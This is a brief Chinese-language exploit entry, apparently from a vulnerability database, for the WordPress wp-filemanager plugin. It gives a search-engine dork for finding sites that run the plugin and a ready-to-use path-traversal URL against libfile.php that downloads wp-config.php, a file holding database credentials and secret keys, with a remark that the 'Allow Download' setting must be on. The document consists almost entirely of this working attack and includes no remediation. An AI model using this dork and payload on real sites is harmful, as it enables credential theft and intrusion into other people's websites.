测试系统平台: Linux
 

缺陷类型: Web Application
 

搜索关键字: inurl:wp-content/plugins/wp-filemanager/
 

测试方法 :

/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download

# 注释:

# In order for this to work, the "Allow Download" setting must be checked in the FileManager's settings